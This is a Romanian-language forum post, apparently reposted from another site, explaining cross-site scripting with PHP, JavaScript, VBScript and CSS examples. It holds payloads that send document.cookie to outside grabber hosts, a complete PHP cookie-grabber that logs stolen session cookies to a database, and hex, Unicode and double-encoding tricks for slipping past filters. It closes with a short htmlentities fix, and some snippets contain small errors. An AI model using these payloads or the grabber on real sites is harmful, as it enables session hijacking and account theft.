Jump to content
hKr

[RO] XSS: Cross Site Scripting attack

Recommended Posts

Posted (edited)

[RO] XSS: Cross Site Scripting attack

1. Cuvant inainte

Acest articol este dedicat unei vulnerabilitati web numita Cross Site Scripting. Exemplele intalnite pe parcursul articolului sunt create in Cascading Style Sheet (CSS), HyperText Markup Language (HTML), Hypertext Preprocessor (PHP), JavaScript (JS) si Visual Basic Script (VBScript).

2. Definitie

Cross Site Scripting (prescurtat XSS) este o vulnerabilitate web ce permite utilizatorului sa introduca un cod personal intr-o pagina web. Acest cod poate afecta ceilalti utilizatori ce vizualizeaza pagina infectata (vulnerabilitate client-side). Aceasta vulnerabilitate este periculoasa doar atunci cand codul se foloseste de prajiturele sau de sesiuni.

2.1 Despre prajiturele (cookie-uri)

Un cookie este un text, de cele mai multe ori codificat, trimis de server unui navigator web. Acest navigator web preia prajiturica si o trimite nemodificata inapoi de fiecare data cand utilizatorul acceseaza serverul respectiv.

In ansamblu, un cookie poate fi privit ca o cheie ce te autentifica pe serverul respectiv. Cookie-urile sunt create de obicei dupa ce utilizatorul s-a autentificat pe un site.

Dupa ce a furat un cookie de la victima, atacatorul o poate folosi pentru a se autentifica pe site cu identitatea victimei. La prajiturica se poate ajunge foarte usor utilizand JavaScript.

De cele mai multe ori se foloseste un cookie grabber pentru a fura aceste cookie-uri. Acaparatorul de prajiturele este un script ce primeste cookie-urile victimelor prin GET si le memoreaza intr-o baza de date.

2.2 Tipuri de XSS

Exista doua tipuri de XSS cunoscute la ora actuala.

2.2.1 XSS nepersistent

XSS nepersistent (cunoscut si ca XSS reflectat sau XSS temporar) este un XSS ce afecteaza utilizatorul doar daca acesta acceseaza pagina infectata. Acest tip de XSS este cel mai des intalnit.

Sa luam ca exemplu motorul de cautare al unui site. In unele cazuri, cand nu gaseste ceea ce utilizatorul a cerut, afiseaza un mesaj de genul: <?php echo $_GET['q']; ?> nu a fost gasit. Data fiind faptul ca afiseaza informatia nefiltrata ceruta de utilizator, se pot introduce diverse coduri pentru a infecta pagina.

2.2.2 XSS persistent

XSS persistent/memorat/permanent este un XSS ce este memorat de catre site. Acest tip de XSS este cel mai periculos, deoarece codul este introdus o data si afecteaza utilizatorii atata timp cat scriptul ramane pe pagina.

Cel mai des, intalnim XSS persistente in site-urile ce ofera ultimele cautari ale utilizatorilor.

3. Cum apare un XSS?

Un XSS apare atunci cand codul nu este filtrat (sau este filtrat prost). De cele mai multe ori, un script citeste o variabila prin GET, apoi afiseaza valoarea acesteia in navigatorul web. Exista si XSS prin POST, dar e putin mai greu de exploatat.

4. Exploatarea unui XSS prin GET

Sa luam ca exemplu urmatorul cod:

<form action="" method="GET">
<input type="text" value="" name="text">
<input type="submit" value="Cauta">
</form>
<?php
echo stripslashes($_GET['text']);
?>

Acest cod de mai sus reprezinta un formular cu un chenar si un buton. Dupa ce scriem ceva in chenar si apasam pe butonul Cauta, formularul trimite informatia catre un cod PHP ce o preia sub forma pagina.php?text=InformatieDinFormular si o afiseaza.

Cum se poate exploata acest formular?

4.1 Introducerea unui cod JavaScript in formular

JavaScript este un limbaj de programare orientat pe obiecte. Este folosit pentru introducerea diferitelor functii intr-o pagina web. JavaScript are avantajul ca poate rula pe calculatorul utilizatorului, nefiind necesara o conexiune la Internet.

In formularul de mai sus, putem introduce orice cod JavaScript. Acest va fi executat imediat ce apasam pe butonul Cauta. Spre exemplu, daca introducem codul de mai jos in formular, navigatorul web va afisa un alertbox cu textul Mesaj.

<script language="JavaScript">alert("Mesaj")></script>

4.1.1 Cookie grabber (Acaparatorul de prajiturele)

Dupa cum am spus mai devreme, o prajiturica poate fi furata utilizand un cookie grabber.

Pentru a putea fura prajiturica, atacatorul trebuie sa creeze un redirect catre acaparatorul de prajiturele. In acest caz putem utiliza document.location:

<script language="JavaScript">document.location="http://www.site.ro/acaparator/index.php?prajituricavictimei="+document.cookie;></script>

Acum, cum functioneaza acaparatorul? Simplu! Codul PHP preia informatia din GET (in cazul de mai sus prajituricavictimei) si o introduce intr-o baza de date.

Un exemplu de cookie grabber pentru codul de mai sus:

<?php
/* Exemplu de acaparator de prajiturele */

// Date de conectare MySQL
$host = 'localhost';
$nume = 'root';
$parola = 'password';
$bazadedate = 'database1';

// Conectare la baza de date
$connect = mysql_connect($host, $nume, $parola) or die(mysql_error());
mysql_select_db($bazadedate) or die(mysql_error());

// Preluarea informatiei din GET
$prajiturica = $_GET['prajituricavictimei'];

// De unde a venit victima
$referer = $HTTP_REFERER;

// Structuri decizionale
if ($prajiturica == "") {
header( 'Location: [url=http://www.google.ro/]Google[/url]' ); // Daca utilizatorul acceseaza pagina si in GET nu este nimic, va fi redirectionat catre site-ul Google
}else{
mysql_query("INSERT INTO Cookies (Cookie, Link) VALUES ('$prajiturica','$referer')"); // Inseram cookie-ul si referer-ul in baza de date
mysql_close($connect); // Inchidem conexiunea la baza de date
header( 'Location: [url=http://www.google.ro/]Google[/url]' ); // Redirectionam utilizatorul catre site-ul Google
}
?>

Exista sansa ca victima sa observe ca la legatura nu este totul OK, asa ca poate sa nu intre pe link. Dar nu este nici o problema! Putem folosi un iframe:

<iframe scr="http://site.com/script.php?text=<;script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script>" width="0" height="0">

4.2 Introducerea unui cod VBScript in formular

VBScript este un limbaj creat de Microsoft, ce sta la baza limbajului ASP. VBScript nu este executat decat pe navigatorul web Internet Explorer.

Pentru a afisa acelasi alertbox ca mai sus vom scrie urmatorul cod in formular, dupa care apasam pe butonul Cauta:

<script language="VBScript">MsgBox "Mesaj"</script>

4.3 Introducerea unui cod CSS in formular

CSS este folosit pentru formatarea documentelor HTML.

Avem mai jos codul CSS pentru a afisa alertbox-ul cu textul Mesaj (ca cele de mai sus).

<style type="text/css">body{background-image: url('javascript:alert("Mesaj");');}</style>

XSS folosind CSS este vechi si nu mai functioneaza decat pe browserele vechi precum Internet Explorer 6.

4.4 Metode de a codifica scriptul personal

Exista mai multe metode de a codifica scriptul personal introdus intr-un formular vulnerabil. Voi prezenta mai jos trei metode cunoscute.

4.4.1 Sistem hexazecimal

Sistemul hexazecimal este un sistem de numeratie in baza 16. Acesta utilizeaza cifrele hexazecimale 0-9 si A-F.

Uneori, la introducerea unei informatii intr-un formular (de cautare, de logare etc.), scriptul verifica daca informatia introdusa contine anumite string-uri precum “<script>”, “alert”, “document.location”, “window.location” sau altele.

Putem inlocui aceste siruri de caractere cu valoarea lor in sistem hexazecimal. Functia PHP de mai jos transforma orice sir de caractere in sistem hexazecimal.

<?php
function codifica_hex($sir)
{
$hex='';
for ($i=0; $i < strlen($sir); $i++)
{
$hex .= dechex(ord($sir[$i]));
}
return $hex;
}
11.
?>

4.4.2 Unicode

Unicode este un format pentru codificarea, stocarea si interpretarea textelor pe suporturi informatice.

Este folosit la codificarea scripturilor JavaScript. Avem mai jos o functie JavaScript ce transforma sirul de caractere in Unicode utilizand charCodeAt.

<script type="JavaScript">
function codifica_Unicode(string)
{
if (string == "")
{
alert('String-ul nu poate ramane NULL')
}
else
{
syn = "String.fromCharCode("
for (i=0;i<string.length;i++)
{
inceput+=string.charCodeAt(i)+","
}
syn = syn.substring(0,syn.length-1)
syn += ")"
return syn;
}
}
</script>

4.4.3 Double Encoding (Dubla Codificare)

Aceasta metoda consta in dubla codificare in sistem hexazecimal a codului personal, in scopul de a ocoli filtrele de securitate sau de a executa anumite comenzi.

Trecerea de filtrele de securitate se datoreaza serverului care decodifica informatia o singura data. Partea a doua a decodificarii le revine platformelor backend sau modulelor care de obicei nu dispun de controale de securitate.

Aceasta tehnica nu este folosita numai la XSS, ci si la alte tipuri de atacuri web precum LFI si RFI.

Sa luam ca exemplu urmatorul cod JavaScript

<script>alert("Mesaj")</script>

In primul rand, transformam caracterele HTML in sistem hexazecimal.

%3Cscript%3Ealert%28%22Mesaj%22%29%3C%2Fscript%3E

Semnul pentru dubla codificare este %. In sistem hexazecimal este reprezentat prin %25. Asa ca adaugam %25 la fiecare caracter HTML. Codul va fi urmatorul:

%253Cscript%253Ealert%2528%2522Mesaj%2522%2529%253C%252Fscript%253E

4.5 Alte moduri de a exploata un XSS

Exista foarte multe metode de a exploata un XSS..

4.5.1 XSS utilizand eticheta IMG

<IMG SRC=javascript:alert("Mesaj")>
<IMG SRC=vbscript:msgbox("Mesaj")>

4.5.2 XSS importat din alt site

<SCRIPT SRC=http://www.site.ro/xss.js></SCRIPT>

Fisierul xss.js contine:

alert ("Mesaj");

4.5.3 Etichete HTML malformate

<IMG src="""><SCRIPT>alert("Mesaj")</SCRIPT>">

5. Metode de a ne proteja de XSS

XSS poate fi reparat foarte usor.

PHP ne ofera doua functii care fac acelasi lucru: htmlentities si htmlspecialchars. Functiile acestea transforma caracterele speciale precum “<”, “>”, “&” si ghilimelele in entitati HTML. Astfel, browserul va returna textul, dar nu se va executa codul personal.

Spre exemplu, sa adaugam aceasta functie la formularul de mai sus.

<form action="" method="GET">
<input type="text" value="" name="text">
<input type="submit" value="Cauta">
</form>
<?php
echo htmlentities((stripslashes($_GET['text'])), ENT_QUOTES);
?>

6. Final

In acest articol am discutat despre ce inseamna un XSS, cate tipuri de XSS exista, cum se exploateaza un XSS si cum sa ne protejam de XSS.

Sursa: Despre Cross Site Scripting (XSS) | WorldIT

Edited by hKr

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...